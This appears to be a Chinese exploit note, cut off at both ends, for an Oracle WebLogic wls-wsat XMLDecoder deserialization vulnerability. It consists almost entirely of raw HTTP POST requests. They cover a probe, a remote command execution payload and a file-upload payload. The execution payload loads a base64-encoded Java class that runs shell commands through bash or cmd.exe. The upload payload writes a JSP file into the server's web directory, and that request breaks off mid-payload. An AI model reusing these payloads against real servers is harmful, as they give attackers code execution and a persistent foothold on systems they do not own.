Connection: keep-alive
Content-Length: 966
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getContext"><void method="getRootTempDir"><void method="getAbsolutePath"><void method="concat" id="path"><string>/war/999.jsp</string></void></void></void></void></void></void><object class="java.io.PrintWriter"><object idref="path"></object><void method="println"><string><![CDATA[123]]></string></void><void method="close"/></object><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="flush"/></void><void method="getWriter"><void method="write"><string>xml_upload_ok</string></void></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

12.1.3 版本

漏洞探测

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.145.147:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 948
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
<void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField">
<string>connectionHandler</string>
<void method="setAccessible"><boolean>true</boolean></void>
<void method="get">
<object idref="current_work"></object>
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>xml_test_ok</string></void></void>
</void>
</void>
</void>
</void>
</void>
</void>
</void>
</java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.145.147:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 7765
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java>
<void class="sun.misc.BASE64Decoder">
<void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIBEgcAAgEAIGNvbS9zdXBlcmVhbS9leHBsb2l0cy9YbWxBUElUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEAAWIBACdMd2VibG9naWMvdXRpbHMvZW5jb2RlcnMvQkFTRTY0RGVjb2RlcjsBAAg8Y2xpbml0PgEAAygpVgEABENvZGUHAAsBACV3ZWJsb2dpYy91dGlscy9lbmNvZGVycy9CQVNFNjREZWNvZGVyCgAKAA0MAA4ACAEABjxpbml0PgkAAQAQDAAFAAYBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUKAAMADQEABHRoaXMBACJMY29tL3N1cGVyZWFtL2V4cGxvaXRzL1htbEFQSVRlc3Q7AQAHZ2V0UGF0aAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CgABABkMABoAGwEAGGdldEh0dHBDb25uZWN0aW9uSGFuZGxlcgEAMygpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvSHR0cENvbm5lY3Rpb25IYW5kbGVyOwoAHQAfBwAeAQAvd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9IdHRwQ29ubmVjdGlvbkhhbmRsZXIMACAAIQEAEWdldFNlcnZsZXRSZXF1ZXN0AQAwKClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVxdWVzdEltcGw7CgAjACUHACQBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAJgAnAQAKZ2V0Q29udGV4dAEAMigpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQ7BwApAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIKACsALQcALAEALndlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQMAC4ALwEADmdldFJvb3RUZW1wRGlyAQAQKClMamF2YS9pby9GaWxlOwoAMQAzBwAyAQAMamF2YS9pby9GaWxlDAA0ABcBAA9nZXRBYnNvbHV0ZVBhdGgKADYAOAcANwEAEGphdmEvbGFuZy9TdHJpbmcMADkAOgEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoAKAA8DAAOAD0BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYIAD8BAAUvd2FyLwoAKABBDABCAEMBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsKACgARQwARgAXAQAIdG9TdHJpbmcIAEgBAAAHAEoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAVaHR0cENvbm5lY3Rpb25IYW5kbGVyAQAxTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvSHR0cENvbm5lY3Rpb25IYW5kbGVyOwEAFHdlYkFwcFNlcnZsZXRDb250ZXh0AQAwTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQ7AQANU3RhY2tNYXBUYWJsZQoAUQBTBwBSAQAQamF2YS9sYW5nL1RocmVhZAwAVABVAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7BwBXAQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkCgBWAFkMAFoAWwEADmdldEN1cnJlbnRXb3JrAQAdKClMd2VibG9naWMvd29yay9Xb3JrQWRhcHRlcjsKAAMAXQwAXgBfAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CABhAQARY29ubmVjdGlvbkhhbmRsZXIKAGMAZQcAZAEAD2phdmEvbGFuZy9DbGFzcwwAZgBnAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAaQBrBwBqAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQMAGwAbQEADXNldEFjY2Vzc2libGUBAAQoWilWCgBpAG8MAHAAcQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZXhlY3V0ZVRocmVhZAEAHUx3ZWJsb2dpYy93b3JrL0V4ZWN1dGVUaHJlYWQ7AQALd29ya0FkYXB0ZXIBABtMd2VibG9naWMvd29yay9Xb3JrQWRhcHRlcjsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAxiYXNlNjREZWNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwoACgB7DAB8AH0BAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCCAB/AQAFVVRGLTgKADYAgQwADgCCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYHAIQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQYmFzZTY0RGVjb2RlQnl0ZQEAEmdldFNlcnZsZXRSZXNwb25zZQEAMSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsKACMAiwwAjACJAQALZ2V0UmVzcG9uc2UBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7BwCQAQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAEcGF0aAEACkV4Y2VwdGlvbnMKAAEAlAwAiACJCgCPAJYMAJcAmAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7CgABAJoMABYAFwoAnACeBwCdAQATamF2YS9pby9QcmludFdyaXRlcgwAnwA9AQAFcHJpbnQBAAJ1cAgAogEAAToKADYApAwApQCmAQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsKAAEAqAwAeAB5CACRCgA2AKsMAKwArQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoAAQCvDACHAH0KALEAswcAsgEAGHdlYmxvZ2ljL3V0aWxzL0ZpbGVVdGlscwwAtACCAQALd3JpdGVUb0ZpbGUIALYBAAt4bWxfdGVzdF9vawEABWJkYXRhAQAFZGF0YXMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACb3ABAARkYXRhAQACW0IHALkBAANzYXkKADYAwAwAwQAXAQAEdHJpbQoANgDDDADEAMUBAAZsZW5ndGgBAAMoKUkIAMcBAAZ3aG9hbWkIAMkBAAdvcy5uYW1lCgDLAM0HAMwBABBqYXZhL2xhbmcvU3lzdGVtDADOAHkBAAtnZXRQcm9wZXJ0eQoANgDQDADRABcBAAt0b0xvd2VyQ2FzZQgA0wEAA3dpbgoANgDVDADWANcBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgcA2QEAE2phdmEvdXRpbC9BcnJheUxpc3QKANgADQgA3AEACS9iaW4vYmFzaAoA2ADeDADfAK0BAANhZGQIAOEBAAItYwgA4wEAB2NtZC5leGUIAOUBAAIvYwcA5wEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgoA5gDpDAAOAOoBABMoTGphdmEvdXRpbC9MaXN0OylWCgDmAOwMAO0A7gEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwoA5gDwDADxAPIBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwoAjwD0DAD1APYBABZnZXRTZXJ2bGV0T3V0cHV0U3RyZWFtAQA1KClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0T3V0cHV0U3RyZWFtSW1wbDsKAPgA+gcA+QEAEWphdmEvbGFuZy9Qcm9jZXNzDAD7APwBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07CgD+AQAHAP8BADF3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRPdXRwdXRTdHJlYW1JbXBsDAEBAQIBAAt3cml0ZVN0cmVhbQEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAnAEEDAEFAAgBAAVmbHVzaAEAA2NtZAEAB2lzTGludXgBAAFaAQAFb3NUeXABAARjbWRzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAOcHJvY2Vzc0J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABHByb2MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKU291cmNlRmlsZQEAD1htbEFQSVRlc3QuamF2YQAhAAEAAwAAAAEACgAFAAYAAAALAAgABwAIAAEACQAAACsAAgAAAAAAC7sAClm3AAyzAA+xAAAAAgARAAAABgABAAAALAASAAAAAgAAAAEADgAIAAEACQAAAC8AAQABAAAABSq3ABOxAAAAAgARAAAABgABAAAADgASAAAADAABAAAABQAUABUAAAACABYAFwABAAkAAACWAAMAAwAAAC8qtwAYTCvGACYrtgActgAiTbsAKFkstgAqtgAwuAA1twA7Ej62AEC2AESwTBJHsAABAAAAKgArAEkAAwARAAAAGgAGAAAAEQAFABIACQATABEAFAArABcALAAaABIAAAAgAAMAAAAvABQAFQAAAAUAJgBLAEwAAQARABoATQBOAAIATwAAAAcAAmsHAEkAAAIAGgAbAAEACQAAAKQAAgAEAAAAK7gAUMAAVkwrtgBYTSy2AFwSYLYAYk4txgASLQS2AGgtLLYAbsAAHbBMAbAAAQAAACcAKABJAAMAEQAAACIACAAAAB8ABwAgAAwAIQAWACIAGgAjAB8AJAAoACYAKQAqABIAAAAqAAQAAAArABQAFQAAAAcAIQByAHMAAQAMABwAdAB1AAIAFgASAHYAdwADAE8AAAAHAAJoBwBJAAACAHgAeQABAAkAAABlAAQAAwAAABW7ADZZsgAPK7YAehJ+twCAsE0SR7AAAQAAABAAEQCDAAMAEQAAAA4AAwAAAC8AEQAwABIAMgASAAAAFgACAAAAFQAUABUAAAAAABUAhQCGAAEATwAAAAYAAVEHAIMAAgCHAH0AAQAJAAAAWwACAAMAAAALsgAPK7YAerBNAbAAAQAAAAcACACDAAMAEQAAAA4AAwAAADYACAA3AAkAOQASAAAAFgACAAAACwAUABUAAAAAAAsAhQCGAAEATwAAAAYAAUgHAIMAAgCIAIkAAQAJAAAAdAABAAMAAAAVAUwqtwAYTSzGAAsstgActgCKTCuwAAAAAwARAAAAFgAFAAAAPQACAD4ABwA/AAsAQAATAEIAEgAAACAAAwAAABUAFAAVAAAAAgATAI0AjgABAAcADgBLAEwAAgBPAAAACwAB/QATBwCPBwAdAAEAkQAIAAIAkgAAAAQAAQBJAAkAAAA9AAIAAQAAAA8qtwCTtgCVKrcAmbYAm7EAAAACABEAAAAKAAIAAABGAA4ARwASAAAADAABAAAADwAUABUAAAABAJ8APQACAJIAAAAEAAEASQAJAAAARAACAAIAAAAMKrcAk7YAlSu2AJuxAAAAAgARAAAACgACAAAASgALAEsAEgAAABYAAgAAAAwAFAAVAAAAAAAMAIUAhgABAAEAoAA9AAIAkgAAAAQAAQBJAAkAAADiAAMABgAAAFIrEqG2AKNNLAMyTiosBDK3AKc6BBKpLbYAqpoAG7sAKFkqtwCZuAA1twA7GQS2AEC2AEQ6BCosBTK3AK46BRkFGQS4ALAqtwCTtgCVErW2AJuxAAAAAwARAAAAJgAJAAAATgAHAFAACwBRABQAUgAdAFQANQBWAD4AVwBFAFgAUQBZABIAAAA+AAYAAABSABQAFQAAAAAAUgC3AIYAAQAHAEsAuAC5AAIACwBHALoAhgADABQAPgCRAIYABAA+ABQAuwC8AAUATwAAAA4AAf4ANQcAvQcANgcANgABAL4APQACAJIAAAAEAAEASQAJAAABhgADAAgAAACmKiu3AKdMK8YADSu2AL+2AMKaAAYSxkwEPRLIuADKTi3GABEttgDPEtK2ANSZAAUDPbsA2Fm3ANo6BByZAB0ZBBLbtgDdVxkEEuC2AN1XGQQrtgDdV6cAGhkEEuK2AN1XGQQS5LYA3VcZBCu2AN1XuwDmWRkEtwDoOgUZBQS2AOtXGQW2AO86Biq3AJM6BxkHtgDzGQa2APe2AP0qtwCTtgCVtgEDsQAAAAMAEQAAAF4AFwAAAF0ABgBeABQAXwAXAGEAGQBiAB8AYwAvAGQAMQBnADoAaAA+AGkARgBqAE4AawBVAGwAWABtAGAAbgBoAG8AbwBxAHoAcgCBAHMAiAB0AI4AdQCbAHYApQB3ABIAAABSAAgAAACmABQAFQAAAAAApgEGAIYAAQAZAI0BBwEIAAIAHwCHAQkAhgADADoAbAEKAQsABAB6ACwBDAENAAUAiAAeAQ4BDwAGAI4AGACNAI4ABwBPAAAAEgAFFAL9ABkBBwA2/AAmBwDYFgABARAAAAACARE=</string>
</void>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlAPITest</string>
<object idref="byte_arr"></object>
<void method="newInstance">
<void method="say" id="result">
<string>aXBjb25maWcgL2FsbA==</string>
</void>
</void>
</void>
</void>
</java>
</work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

文件上传

NUt2TEM3LmpzcA== 为文件名 会自动放在 /wls-wsat/ 目录下 后面的则是文件内容

把 file 改为 path 第二个参数文件名就要写绝对路径的base64编码

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.145.147:7001
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
Content-Type: text/xml
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 11532
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="sun.misc.BASE64Decoder">
<void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIBEgcAAgEAIGNvbS9zdXBlcmVhbS9leHBsb2l0cy9YbWxBUElUZXN0BwAEAQAQamF2YS9sYW5nL09iamVjdAEAAWIBACdMd2VibG9naWMvdXRpbHMvZW5jb2RlcnMvQkFTRTY0RGVjb2RlcjsBAAg8Y2xpbml0PgEAAygpVgEABENvZGUHAAsBACV3ZWJsb2dpYy91dGlscy9lbmNvZGVycy9CQVNFNjREZWNvZGVyCgAKAA0MAA4ACAEABjxpbml0PgkAAQAQDAAFAAYBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUKAAMADQEABHRoaXMBACJMY29tL3N1cGVyZWFtL2V4cGxvaXRzL1htbEFQSVRlc3Q7AQAHZ2V0UGF0aAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CgABABkMABoAGwEAGGdldEh0dHBDb25uZWN0aW9uSGFuZGxlcgEAMygpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvSHR0cENvbm5lY3Rpb25IYW5kbGVyOwoAHQAfBwAeAQAvd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9IdHRwQ29ubmVjdGlvbkhhbmRsZXIMACAAIQEAEWdldFNlcnZsZXRSZXF1ZXN0AQAwKClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVxdWVzdEltcGw7CgAjACUHACQBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAJgAnAQAKZ2V0Q29udGV4dAEAMigpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQ7BwApAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIKACsALQcALAEALndlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQMAC4ALwEADmdldFJvb3RUZW1wRGlyAQAQKClMamF2YS9pby9GaWxlOwoAMQAzBwAyAQAMamF2YS9pby9GaWxlDAA0ABcBAA9nZXRBYnNvbHV0ZVBhdGgKADYAOAcANwEAEGphdmEvbGFuZy9TdHJpbmcMADkAOgEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoAKAA8DAAOAD0BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYIAD8BAAUvd2FyLwoAKABBDABCAEMBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsKACgARQwARgAXAQAIdG9TdHJpbmcIAEgBAAAHAEoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAVaHR0cENvbm5lY3Rpb25IYW5kbGVyAQAxTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvSHR0cENvbm5lY3Rpb25IYW5kbGVyOwEAFHdlYkFwcFNlcnZsZXRDb250ZXh0AQAwTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvV2ViQXBwU2VydmxldENvbnRleHQ7AQANU3RhY2tNYXBUYWJsZQoAUQBTBwBSAQAQamF2YS9sYW5nL1RocmVhZAwAVABVAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7BwBXAQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkCgBWAFkMAFoAWwEADmdldEN1cnJlbnRXb3JrAQAdKClMd2VibG9naWMvd29yay9Xb3JrQWRhcHRlcjsKAAMAXQwAXgBfAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7CABhAQARY29ubmVjdGlvbkhhbmRsZXIKAGMAZQcAZAEAD2phdmEvbGFuZy9DbGFzcwwAZgBnAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAaQBrBwBqAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQMAGwAbQEADXNldEFjY2Vzc2libGUBAAQoWilWCgBpAG8MAHAAcQEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZXhlY3V0ZVRocmVhZAEAHUx3ZWJsb2dpYy93b3JrL0V4ZWN1dGVUaHJlYWQ7AQALd29ya0FkYXB0ZXIBABtMd2VibG9naWMvd29yay9Xb3JrQWRhcHRlcjsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAxiYXNlNjREZWNvZGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwoACgB7DAB8AH0BAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCCAB/AQAFVVRGLTgKADYAgQwADgCCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYHAIQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAQYmFzZTY0RGVjb2RlQnl0ZQEAEmdldFNlcnZsZXRSZXNwb25zZQEAMSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsKACMAiwwAjACJAQALZ2V0UmVzcG9uc2UBAAhyZXNwb25zZQEAL0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGw7BwCQAQAtd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsAQAEcGF0aAEACkV4Y2VwdGlvbnMKAAEAlAwAiACJCgCPAJYMAJcAmAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7CgABAJoMABYAFwoAnACeBwCdAQATamF2YS9pby9QcmludFdyaXRlcgwAnwA9AQAFcHJpbnQBAAJ1cAgAogEAAToKADYApAwApQCmAQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsKAAEAqAwAeAB5CACRCgA2AKsMAKwArQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoAAQCvDACHAH0KALEAswcAsgEAGHdlYmxvZ2ljL3V0aWxzL0ZpbGVVdGlscwwAtACCAQALd3JpdGVUb0ZpbGUIALYBAAt4bWxfdGVzdF9vawEABWJkYXRhAQAFZGF0YXMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACb3ABAARkYXRhAQACW0IHALkBAANzYXkKADYAwAwAwQAXAQAEdHJpbQoANgDDDADEAMUBAAZsZW5ndGgBAAMoKUkIAMcBAAZ3aG9hbWkIAMkBAAdvcy5uYW1lCgDLAM0HAMwBABBqYXZhL2xhbmcvU3lzdGVtDADOAHkBAAtnZXRQcm9wZXJ0eQoANgDQDADRABcBAAt0b0xvd2VyQ2FzZQgA0wEAA3dpbgoANgDVDADWANcBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgcA2QEAE2phdmEvdXRpbC9BcnJheUxpc3QKANgADQgA3AEACS9iaW4vYmFzaAoA2ADeDADfAK0BAANhZGQIAOEBAAItYwgA4wEAB2NtZC5leGUIAOUBAAIvYwcA5wEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgoA5gDpDAAOAOoBABMoTGphdmEvdXRpbC9MaXN0OylWCgDmAOwMAO0A7gEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwoA5gDwDADxAPIBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwoAjwD0DAD1APYBABZnZXRTZXJ2bGV0T3V0cHV0U3RyZWFtAQA1KClMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0T3V0cHV0U3RyZWFtSW1wbDsKAPgA+gcA+QEAEWphdmEvbGFuZy9Qcm9jZXNzDAD7APwBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07CgD+AQAHAP8BADF3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRPdXRwdXRTdHJlYW1JbXBsDAEBAQIBAAt3cml0ZVN0cmVhbQEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAnAEEDAEFAAgBAAVmbHVzaAEAA2NtZAEAB2lzTGludXgBAAFaAQAFb3NUeXABAARjbWRzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAOcHJvY2Vzc0J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABHByb2MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKU291cmNlRmlsZQEAD1htbEFQSVRlc3QuamF2YQAhAAEAAwAAAAEACgAFAAYAAAALAAgABwAIAAEACQAAACsAAgAAAAAAC7sAClm3AAyzAA+xAAAAAgARAAAABgABAAAALAASAAAAAgAAAAEADgAIAAEACQAAAC8AAQABAAAABSq3ABOxAAAAAgARAAAABgABAAAADgASAAAADAABAAAABQAUABUAAAACABYAFwABAAkAAACWAAMAAwAAAC8qtwAYTCvGACYrtgActgAiTbsAKFkstgAqtgAwuAA1twA7Ej62AEC2AESwTBJHsAABAAAAKgArAEkAAwARAAAAGgAGAAAAEQAFABIACQATABEAFAArABcALAAaABIAAAAgAAMAAAAvABQAFQAAAAUAJgBLAEwAAQARABoATQBOAAIATwAAAAcAAmsHAEkAAAIAGgAbAAEACQAAAKQAAgAEAAAAK7gAUMAAVkwrtgBYTSy2AFwSYLYAYk4txgASLQS2AGgtLLYAbsAAHbBMAbAAAQAAACcAKABJAAMAEQAAACIACAAAAB8ABwAgAAwAIQAWACIAGgAjAB8AJAAoACYAKQAqABIAAAAqAAQAAAArABQAFQAAAAcAIQByAHMAAQAMABwAdAB1AAIAFgASAHYAdwADAE8AAAAHAAJoBwBJAAACAHgAeQABAAkAAABlAAQAAwAAABW7ADZZsgAPK7YAehJ+twCAsE0SR7AAAQAAABAAEQCDAAMAEQAAAA4AAwAAAC8AEQAwABIAMgASAAAAFgACAAAAFQAUABUAAAAAABUAhQCGAAEATwAAAAYAAVEHAIMAAgCHAH0AAQAJAAAAWwACAAMAAAALsgAPK7YAerBNAbAAAQAAAAcACACDAAMAEQAAAA4AAwAAADYACAA3AAkAOQASAAAAFgACAAAACwAUABUAAAAAAAsAhQCGAAEATwAAAAYAAUgHAIMAAgCIAIkAAQAJAAAAdAABAAMAAAAVAUwqtwAYTSzGAAsstgActgCKTCuwAAAAAwARAAAAFgAFAAAAPQACAD4ABwA/AAsAQAATAEIAEgAAACAAAwAAABUAFAAVAAAAAgATAI0AjgABAAcADgBLAEwAAgBPAAAACwAB/QATBwCPBwAdAAEAkQAIAAIAkgAAAAQAAQBJAAkAAAA9AAIAAQAAAA8qtwCTtgCVKrcAmbYAm7EAAAACABEAAAAKAAIAAABGAA4ARwASAAAADAABAAAADwAUABUAAAABAJ8APQACAJIAAAAEAAEASQAJAAAARAACAAIAAAAMKrcAk7YAlSu2AJuxAAAAAgARAAAACgACAAAASgALAEsAEgAAABYAAgAAAAwAFAAVAAAAAAAMAIUAhgABAAEAoAA9AAIAkgAAAAQAAQBJAAkAAADiAAMABgAAAFIrEqG2AKNNLAMyTiosBDK3AKc6BBKpLbYAqpoAG7sAKFkqtwCZuAA1twA7GQS2AEC2AEQ6BCosBTK3AK46BRkFGQS4ALAqtwCTtgCVErW2AJuxAAAAAwARAAAAJgAJAAAATgAHAFAACwBRABQAUgAdAFQANQBWAD4AVwBFAFgAUQBZABIAAAA+AAYAAABSABQAFQAAAAAAUgC3AIYAAQAHAEsAuAC5AAIACwBHALoAhgADABQAPgCRAIYABAA+ABQAuwC8AAUATwAAAA4AAf4ANQcAvQcANgcANgABAL4APQACAJIAAAAEAAEASQAJAAABhgADAAgAAACmKiu3AKdMK8YADSu2AL+2AMKaAAYSxkwEPRLIuADKTi3GABEttgDPEtK2ANSZAAUDPbsA2Fm3ANo6BByZAB0ZBBLbtgDdVxkEEuC2AN1XGQQrtgDdV6cAGhkEEuK2AN1XGQQS5LYA3VcZBCu2AN1XuwDmWRkEtwDoOgUZBQS2AOtXGQW2AO86Biq3AJM6BxkHtgDzGQa2APe2AP0qtwCTtgCVtgEDsQAAAAMAEQAAAF4AFwAAAF0ABgBeABQAXwAXAGEAGQBiAB8AYwAvAGQAMQBnADoAaAA+AGkARgBqAE4AawBVAGwAWABtAGAAbgBoAG8AbwBxAHoAcgCBAHMAiAB0AI4AdQCbAHYApQB3ABIAAABSAAg